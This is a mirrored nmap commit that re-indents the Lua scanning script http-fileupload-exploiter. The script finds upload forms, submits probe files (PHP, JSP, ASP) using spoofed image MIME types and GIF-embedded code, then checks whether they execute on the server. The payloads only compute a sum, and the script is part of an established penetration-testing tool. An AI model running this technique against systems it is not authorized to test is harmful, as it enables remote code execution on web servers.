mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
Final re-indent for scripts.
This commit is contained in:
@@ -74,76 +74,76 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
||||
--
|
||||
-- Note, that more payloads will slow down your scan significaly.
|
||||
payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
|
||||
-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
|
||||
-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
|
||||
-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
|
||||
-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
|
||||
}
|
||||
{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
|
||||
-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
|
||||
-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
|
||||
-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
|
||||
-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
|
||||
-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
|
||||
}
|
||||
|
||||
listofrequests = {}
|
||||
|
||||
-- Escape for jsp and asp payloads.
|
||||
local escape = function(s)
|
||||
return (s:gsub('%%', '%%%%'))
|
||||
return (s:gsub('%%', '%%%%'))
|
||||
end
|
||||
|
||||
-- Represents an upload-request.
|
||||
local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
|
||||
local request = {
|
||||
host = host;
|
||||
port = port;
|
||||
submission = submission;
|
||||
mime = mime;
|
||||
name = name;
|
||||
filename = filename;
|
||||
partofrequest = partofrequest;
|
||||
payload = payload;
|
||||
check = check;
|
||||
uploadedpaths = {};
|
||||
success = 0;
|
||||
local request = {
|
||||
host = host;
|
||||
port = port;
|
||||
submission = submission;
|
||||
mime = mime;
|
||||
name = name;
|
||||
filename = filename;
|
||||
partofrequest = partofrequest;
|
||||
payload = payload;
|
||||
check = check;
|
||||
uploadedpaths = {};
|
||||
success = 0;
|
||||
|
||||
make = function(self)
|
||||
local options = { header={} }
|
||||
options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
|
||||
options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
|
||||
make = function(self)
|
||||
local options = { header={} }
|
||||
options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
|
||||
options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
|
||||
|
||||
stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
|
||||
stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
|
||||
|
||||
local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
|
||||
local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
|
||||
|
||||
return response.body
|
||||
end;
|
||||
return response.body
|
||||
end;
|
||||
|
||||
checkPayload = function(self, uploadspaths)
|
||||
for _, uploadpath in ipairs(uploadspaths) do
|
||||
local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
|
||||
checkPayload = function(self, uploadspaths)
|
||||
for _, uploadpath in ipairs(uploadspaths) do
|
||||
local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
|
||||
|
||||
if response.status ~= 404 then
|
||||
if (response.body:match(self.check)) then
|
||||
self.success = 1
|
||||
table.insert(self.uploadedpaths, uploadpath)
|
||||
end
|
||||
end
|
||||
end
|
||||
end;
|
||||
}
|
||||
table.insert(listofrequests, request)
|
||||
return request
|
||||
if response.status ~= 404 then
|
||||
if (response.body:match(self.check)) then
|
||||
self.success = 1
|
||||
table.insert(self.uploadedpaths, uploadpath)
|
||||
end
|
||||
end
|
||||
end
|
||||
end;
|
||||
}
|
||||
table.insert(listofrequests, request)
|
||||
return request
|
||||
end
|
||||
|
||||
-- Create customized requests for all of our payloads.
|
||||
local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
|
||||
|
||||
for i, p in ipairs(payloads) do
|
||||
if image then
|
||||
p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
|
||||
end
|
||||
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
|
||||
for i, p in ipairs(payloads) do
|
||||
if image then
|
||||
p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
|
||||
end
|
||||
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -151,179 +151,179 @@ end
|
||||
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
|
||||
local makeAndCheckRequests = function(uploadspaths)
|
||||
|
||||
local exit = 0
|
||||
local output = {"Succesfully uploaded and executed payloads: "}
|
||||
local exit = 0
|
||||
local output = {"Succesfully uploaded and executed payloads: "}
|
||||
|
||||
for i=1, #listofrequests, 1 do
|
||||
listofrequests[i]:make()
|
||||
listofrequests[i]:checkPayload(uploadspaths)
|
||||
if (listofrequests[i].success == 1) then
|
||||
exit = 1
|
||||
table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
|
||||
for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
|
||||
table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
|
||||
end
|
||||
end
|
||||
for i=1, #listofrequests, 1 do
|
||||
listofrequests[i]:make()
|
||||
listofrequests[i]:checkPayload(uploadspaths)
|
||||
if (listofrequests[i].success == 1) then
|
||||
exit = 1
|
||||
table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
|
||||
for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
|
||||
table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if exit == 1 then
|
||||
return output
|
||||
end
|
||||
if exit == 1 then
|
||||
return output
|
||||
end
|
||||
|
||||
listofrequests = {}
|
||||
listofrequests = {}
|
||||
|
||||
end
|
||||
|
||||
local prepareRequest = function(fields, fieldvalues)
|
||||
|
||||
local filefield = 0
|
||||
local req = ""
|
||||
local value
|
||||
local filefield = 0
|
||||
local req = ""
|
||||
local value
|
||||
|
||||
for _, field in ipairs(fields) do
|
||||
if field["type"] == "file" then
|
||||
filefield = field
|
||||
elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
|
||||
if fieldvalues[field["name"]] ~= nil then
|
||||
value = fieldvalues[field["name"]]
|
||||
else
|
||||
value = "SampleData0"
|
||||
end
|
||||
req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
|
||||
end
|
||||
for _, field in ipairs(fields) do
|
||||
if field["type"] == "file" then
|
||||
filefield = field
|
||||
elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
|
||||
if fieldvalues[field["name"]] ~= nil then
|
||||
value = fieldvalues[field["name"]]
|
||||
else
|
||||
value = "SampleData0"
|
||||
end
|
||||
req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
|
||||
end
|
||||
end
|
||||
|
||||
return req, filefield
|
||||
return req, filefield
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
|
||||
local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
|
||||
local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
|
||||
local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
|
||||
local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
|
||||
local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
|
||||
|
||||
local returntable = {}
|
||||
local returntable = {}
|
||||
|
||||
local result
|
||||
local foundform = 0
|
||||
local foundfield = 0
|
||||
local fail = 0
|
||||
local result
|
||||
local foundform = 0
|
||||
local foundfield = 0
|
||||
local fail = 0
|
||||
|
||||
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local index, k, target, response
|
||||
local index, k, target, response
|
||||
|
||||
while (true) do
|
||||
while (true) do
|
||||
|
||||
if formpaths then
|
||||
k, target = next(formpaths, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
if formpaths then
|
||||
k, target = next(formpaths, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
else
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if ( not(status) ) then
|
||||
if ( r.err ) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
target = tostring(r.url)
|
||||
response = r.response
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
target = tostring(r.url)
|
||||
response = r.response
|
||||
|
||||
if response.body then
|
||||
|
||||
local forms = http.grab_forms(response.body)
|
||||
|
||||
for i, form in ipairs(forms) do
|
||||
|
||||
form = http.parse_form(form)
|
||||
|
||||
if form then
|
||||
|
||||
local action_absolute = string.find(form["action"], "https*://")
|
||||
|
||||
-- Determine the path where the form needs to be submitted.
|
||||
local submission
|
||||
if action_absolute then
|
||||
submission = form["action"]
|
||||
else
|
||||
local path_cropped = string.match(target, "(.*/).*")
|
||||
path_cropped = path_cropped and path_cropped or ""
|
||||
submission = path_cropped..form["action"]
|
||||
end
|
||||
|
||||
foundform = 1
|
||||
|
||||
local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
|
||||
|
||||
if filefield ~= 0 then
|
||||
|
||||
foundfield = 1
|
||||
|
||||
-- Method (1).
|
||||
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
|
||||
|
||||
result = makeAndCheckRequests(uploadspaths)
|
||||
if result then
|
||||
table.insert(returntable, result)
|
||||
break
|
||||
end
|
||||
|
||||
-- Method (2).
|
||||
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
|
||||
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
|
||||
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
|
||||
|
||||
result = makeAndCheckRequests(uploadspaths)
|
||||
if result then
|
||||
table.insert(returntable, result)
|
||||
break
|
||||
end
|
||||
|
||||
-- Method (3).
|
||||
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
|
||||
local image = inp:read("*all")
|
||||
|
||||
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
|
||||
|
||||
result = makeAndCheckRequests(uploadspaths)
|
||||
if result then
|
||||
table.insert(returntable, result)
|
||||
else
|
||||
fail = 1
|
||||
end
|
||||
end
|
||||
else
|
||||
table.insert(returntable, {"Couldn't find a file-type field."})
|
||||
end
|
||||
end
|
||||
end
|
||||
if fail == 1 then
|
||||
table.insert(returntable, {"Failed to upload and execute a payload."})
|
||||
end
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
return returntable
|
||||
|
||||
|
||||
if response.body then
|
||||
|
||||
local forms = http.grab_forms(response.body)
|
||||
|
||||
for i, form in ipairs(forms) do
|
||||
|
||||
form = http.parse_form(form)
|
||||
|
||||
if form then
|
||||
|
||||
local action_absolute = string.find(form["action"], "https*://")
|
||||
|
||||
-- Determine the path where the form needs to be submitted.
|
||||
local submission
|
||||
if action_absolute then
|
||||
submission = form["action"]
|
||||
else
|
||||
local path_cropped = string.match(target, "(.*/).*")
|
||||
path_cropped = path_cropped and path_cropped or ""
|
||||
submission = path_cropped..form["action"]
|
||||
end
|
||||
|
||||
foundform = 1
|
||||
|
||||
local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
|
||||
|
||||
if filefield ~= 0 then
|
||||
|
||||
foundfield = 1
|
||||
|
||||
-- Method (1).
|
||||
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
|
||||
|
||||
result = makeAndCheckRequests(uploadspaths)
|
||||
if result then
|
||||
table.insert(returntable, result)
|
||||
break
|
||||
end
|
||||
|
||||
-- Method (2).
|
||||
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
|
||||
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
|
||||
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
|
||||
|
||||
result = makeAndCheckRequests(uploadspaths)
|
||||
if result then
|
||||
table.insert(returntable, result)
|
||||
break
|
||||
end
|
||||
|
||||
-- Method (3).
|
||||
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
|
||||
local image = inp:read("*all")
|
||||
|
||||
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
|
||||
|
||||
result = makeAndCheckRequests(uploadspaths)
|
||||
if result then
|
||||
table.insert(returntable, result)
|
||||
else
|
||||
fail = 1
|
||||
end
|
||||
end
|
||||
else
|
||||
table.insert(returntable, {"Couldn't find a file-type field."})
|
||||
end
|
||||
end
|
||||
end
|
||||
if fail == 1 then
|
||||
table.insert(returntable, {"Failed to upload and execute a payload."})
|
||||
end
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
return returntable
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user